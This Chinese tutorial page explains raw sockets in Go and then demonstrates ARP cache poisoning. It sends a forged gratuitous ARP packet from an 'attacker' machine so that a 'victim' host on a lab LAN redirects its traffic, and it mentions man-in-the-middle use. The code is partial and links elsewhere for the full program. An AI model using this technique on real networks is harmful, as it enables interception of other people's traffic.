热门标签 | HotTags
当前位置:  开发笔记 > 编程语言 > 正文

开发笔记:Go原生socket由浅入深

篇首语:本文由编程笔记#小编为大家整理,主要介绍了Go原生socket由浅入深相关的知识,希望对你有一定的参考价值。Linux提供了裸socket功能,允许您直接创建一

篇首语:本文由编程笔记#小编为大家整理,主要介绍了Go 原生socket由浅入深相关的知识,希望对你有一定的参考价值。


Linux提供了裸socket功能,允许您直接创建一个裸L3/L2数据包,绕过OS socket生成的协议头。这意味着您可以从头开始直接生成自己的链路层或IP层数据包,对检测网络流量或从头开始创建数据包来说这是非常有用的功能

可以使用SOCK_RAW socket类型(这要求进程具有CAP_NET_RAW功能或以root用户身份运行),使用socket()syscall在Linux上使用裸socket。 Go无法通过net包支持raw socket,但是syscalls可以通过syscall包获得

我们来看一个快速程序来打开一个裸socket

package main;
import (
"fmt"
"syscall"
)
func main() {
 // Socket is defined as:
 // func Socket(domain, typ, proto int) (fd int, err error)
 // Domain specifies the protocol family to be used - this should be AF_PACKET
 // to indicate we want the low level packet interface
 // Type specifies the semantics of the socket
 // Protocol specifies the protocol to use - kept here as ETH_P_ALL to
 // indicate all protocols over Ethernet
 fd, err:= syscall.Socket(syscall.AF_PACKET, syscall.SOCK_RAW,
                 syscall.ETH_P_ALL)
 if (err != nil) {
   fmt.Println("Error: " + err.Error())
   return;
 }
 fmt.Println("Obtained fd ", fd)
 defer syscall.Close(fd)
 // Do something with fd here
}

毫不奇怪,程序失败,出现访问错误

go build raw.go ~
~/etc/gocode/raw$ ./raw
Error: operation not permitted

这里有两个选项:以root运行该程序,或者使用setcap将该功能授予可执行文件:

sudo setcap cap_net_raw=ep raw
~/etc/gocode/raw$ getcap raw
raw = cap_net_raw+ep
~/etc/gocode/raw$ ./raw
Obtained fd  3

使用Raw Sockets进行无偿ARP请求


cat /proc/net/arp
IP address       HW type     Flags       HW address            Mask     Device
10.10.10.1         0x1         0x2         0a:00:27:00:00:01     *        eth0

默认情况下,Linux忽略对不存在于ARP表中设备的所有无偿请求,但是它接受表中已经存在的IP的请求,这可能允许我们将针对特定IP的流量重定向到任何未选择的设备

我们在Go中编写一个程序来利用裸socket将ARP更新发送到通过以太网连接的设备


Setup

我们考虑在本地局域网连接的3台设备的设置:位于10.10.10.1(攻击者)的机器A,10.10.10.2(受害者)和10.10.10.3,这是要发送数据的原始机器
































IP Address MAC Address
Machine A 10.10.10.10 0a:00:27:00:00:01 Attacker
Machine B 10.10.10.2 08:00:27:e3:ef:0d Victim
Machine C 10.10.10.3 08:00:27:88:09:4b

最初,机器B可以访问A和C,如ARP表所示:

ping 10.10.10.3 -c 3
PING 10.10.10.3 (10.10.10.3) 56(84) bytes of data.
64 bytes from 10.10.10.3: icmp_req=1 ttl=64 time=0.786 ms
64 bytes from 10.10.10.3: icmp_req=2 ttl=64 time=2.39 ms
64 bytes from 10.10.10.3: icmp_req=3 ttl=64 time=0.922 ms
--- 10.10.10.3 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2005ms
rtt min/avg/max/mdev = 0.786/1.367/2.394/0.728 ms
10.10.10.2@debian:~$ cat /proc/net/arp
IP address       HW type     Flags       HW address            Mask     Device
10.10.10.3       0x1         0x2         08:00:27:88:09:4b     *        eth0
10.10.10.1       0x1         0x2         0a:00:27:00:00:01     *        eth0

组装 packet

在裸socket中,我们提供的数据包将直接传递给设备驱动程序。 因此,我们需要在较底层协议帧(以太网)中包装我们的ARP数据包

给了我们包的结构:


这可以很容易地使用CGo中的一个结构体中表示:

typedef struct __attribute__((packed))
{
   char dest[6];
   char sender[6];
   uint16_t protocolType;
} EthernetHeader;
typedef struct __attribute__((packed))
{
   uint16_t hwType;
   uint16_t protoType;
   char hwLen;
   char protocolLen;
   uint16_t oper;
   char SHA[6];
   char SPA[4];
   char THA[6];
   char TPA[4];
} ArpPacket;
typedef struct __attribute__((packed))
{
   EthernetHeader eth;
   ArpPacket arp;
} EthernetArpPacket;

我们可以填写数据包的所有字段(请注意,必须按照Go Wiki的建议从CGo完成):


Sending the payload

打开raw socket:

fd, err := syscall.Socket(syscall.AF_PACKET, syscall.SOCK_RAW, syscall.ETH_P_ALL)
if err != nil {
   fmt.Println("Error: " + err.Error())
   return
}
fmt.Println("Obtained fd ", fd)
defer syscall.Close(fd)

分配并准备数据包,并使用Sendto系统调用程序将其发送到机器B:

packet := C.GoBytes(unsafe.Pointer(C.FillRequestPacketFields(iface_cstr, ip_cstr)),
                   C.int(size))
var addr syscall.SockaddrLinklayer
addr.Protocol = syscall.ETH_P_ARP
addr.Ifindex = interf.Index
addr.Hatype = syscall.ARPHRD_ETHER
// Send the packet
err = syscall.Sendto(fd, packet, 0, &addr)

发送数据包后,看看机器B的ARP表:

cat /proc/net/arp
IP address       HW type     Flags       HW address            Mask     Device
10.10.10.3       0x1         0x2         0a:00:27:00:00:01     *        eth0
10.10.10.1       0x1         0x2         0a:00:27:00:00:01     *        eth0
10.10.10.2@debian:~$ ping 10.10.10.3
PING 10.10.10.3 (10.10.10.3) 56(84) bytes of data.
From 10.10.10.1: icmp_seq=2 Redirect Host(New nexthop: 10.10.10.3)
From 10.10.10.1: icmp_seq=3 Redirect Host(New nexthop: 10.10.10.3)
From 10.10.10.1: icmp_seq=4 Redirect Host(New nexthop: 10.10.10.3)
From 10.10.10.1: icmp_seq=5 Redirect Host(New nexthop: 10.10.10.3)
From 10.10.10.1: icmp_seq=6 Redirect Host(New nexthop: 10.10.10.3)
From 10.10.10.1: icmp_seq=8 Redirect Host(New nexthop: 10.10.10.3)
64 bytes from 10.10.10.3: icmp_req=9 ttl=64 time=0.147 ms
64 bytes from 10.10.10.3: icmp_req=10 ttl=64 time=3.94 ms

我们可以看到,我们已经成功地让B机器相信机器A已经改变了它的位置 - 我们可以看到机器A(10.10.10.1)实际上正在接收到用于机器C(10.10.10.3)的数据包:

在这种情况下,我们不处理由机器A接收(原本由机器C接接收)的数据包,因此它不断响应ICMP重定向,直到机器B终于重新发送机器C的ARP请求。ARP请求的响应,也是相当琐碎的回应报文,也可以进行某种形式的中间人攻击。

整个程序在https://gist.github.com/PollenPolle/ada4d123a4579f3e22f2c5e30e6f4a02


推荐阅读
  • 在Docker中,将主机目录挂载到容器中作为volume使用时,常常会遇到文件权限问题。这是因为容器内外的UID不同所导致的。本文介绍了解决这个问题的方法,包括使用gosu和suexec工具以及在Dockerfile中配置volume的权限。通过这些方法,可以避免在使用Docker时出现无写权限的情况。 ... [详细]
  • 本文介绍了在CentOS上安装Python2.7.2的详细步骤,包括下载、解压、编译和安装等操作。同时提供了一些注意事项,以及测试安装是否成功的方法。 ... [详细]
  • 树莓派语音控制的配置方法和步骤
    本文介绍了在树莓派上实现语音控制的配置方法和步骤。首先感谢博主Eoman的帮助,文章参考了他的内容。树莓派的配置需要通过sudo raspi-config进行,然后使用Eoman的控制方法,即安装wiringPi库并编写控制引脚的脚本。具体的安装步骤和脚本编写方法在文章中详细介绍。 ... [详细]
  • 生成式对抗网络模型综述摘要生成式对抗网络模型(GAN)是基于深度学习的一种强大的生成模型,可以应用于计算机视觉、自然语言处理、半监督学习等重要领域。生成式对抗网络 ... [详细]
  • 本文介绍了设计师伊振华受邀参与沈阳市智慧城市运行管理中心项目的整体设计,并以数字赋能和创新驱动高质量发展的理念,建设了集成、智慧、高效的一体化城市综合管理平台,促进了城市的数字化转型。该中心被称为当代城市的智能心脏,为沈阳市的智慧城市建设做出了重要贡献。 ... [详细]
  • Linux重启网络命令实例及关机和重启示例教程
    本文介绍了Linux系统中重启网络命令的实例,以及使用不同方式关机和重启系统的示例教程。包括使用图形界面和控制台访问系统的方法,以及使用shutdown命令进行系统关机和重启的句法和用法。 ... [详细]
  • 本文讨论了在Windows 8上安装gvim中插件时出现的错误加载问题。作者将EasyMotion插件放在了正确的位置,但加载时却出现了错误。作者提供了下载链接和之前放置插件的位置,并列出了出现的错误信息。 ... [详细]
  • CSS3选择器的使用方法详解,提高Web开发效率和精准度
    本文详细介绍了CSS3新增的选择器方法,包括属性选择器的使用。通过CSS3选择器,可以提高Web开发的效率和精准度,使得查找元素更加方便和快捷。同时,本文还对属性选择器的各种用法进行了详细解释,并给出了相应的代码示例。通过学习本文,读者可以更好地掌握CSS3选择器的使用方法,提升自己的Web开发能力。 ... [详细]
  • sklearn数据集库中的常用数据集类型介绍
    本文介绍了sklearn数据集库中常用的数据集类型,包括玩具数据集和样本生成器。其中详细介绍了波士顿房价数据集,包含了波士顿506处房屋的13种不同特征以及房屋价格,适用于回归任务。 ... [详细]
  • Python正则表达式学习记录及常用方法
    本文记录了学习Python正则表达式的过程,介绍了re模块的常用方法re.search,并解释了rawstring的作用。正则表达式是一种方便检查字符串匹配模式的工具,通过本文的学习可以掌握Python中使用正则表达式的基本方法。 ... [详细]
  • CF:3D City Model(小思维)问题解析和代码实现
    本文通过解析CF:3D City Model问题,介绍了问题的背景和要求,并给出了相应的代码实现。该问题涉及到在一个矩形的网格上建造城市的情景,每个网格单元可以作为建筑的基础,建筑由多个立方体叠加而成。文章详细讲解了问题的解决思路,并给出了相应的代码实现供读者参考。 ... [详细]
  • imx6ull开发板驱动MT7601U无线网卡的方法和步骤详解
    本文详细介绍了在imx6ull开发板上驱动MT7601U无线网卡的方法和步骤。首先介绍了开发环境和硬件平台,然后说明了MT7601U驱动已经集成在linux内核的linux-4.x.x/drivers/net/wireless/mediatek/mt7601u文件中。接着介绍了移植mt7601u驱动的过程,包括编译内核和配置设备驱动。最后,列举了关键词和相关信息供读者参考。 ... [详细]
  • Ubuntu安装常用软件详细步骤
    目录1.GoogleChrome浏览器2.搜狗拼音输入法3.Pycharm4.Clion5.其他软件1.GoogleChrome浏览器通过直接下载安装GoogleChro ... [详细]
  • 本文讨论了clone的fork与pthread_create创建线程的不同之处。进程是一个指令执行流及其执行环境,其执行环境是一个系统资源的集合。在调用系统调用fork创建一个进程时,子进程只是完全复制父进程的资源,这样得到的子进程独立于父进程,具有良好的并发性。但是二者之间的通讯需要通过专门的通讯机制,另外通过fork创建子进程系统开销很大。因此,在某些情况下,使用clone或pthread_create创建线程可能更加高效。 ... [详细]
  • 31.项目部署
    目录1一些概念1.1项目部署1.2WSGI1.3uWSGI1.4Nginx2安装环境与迁移项目2.1项目内容2.2项目配置2.2.1DEBUG2.2.2STAT ... [详细]
author-avatar
洋紫儿__来丶了
这个家伙很懒,什么也没留下!
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有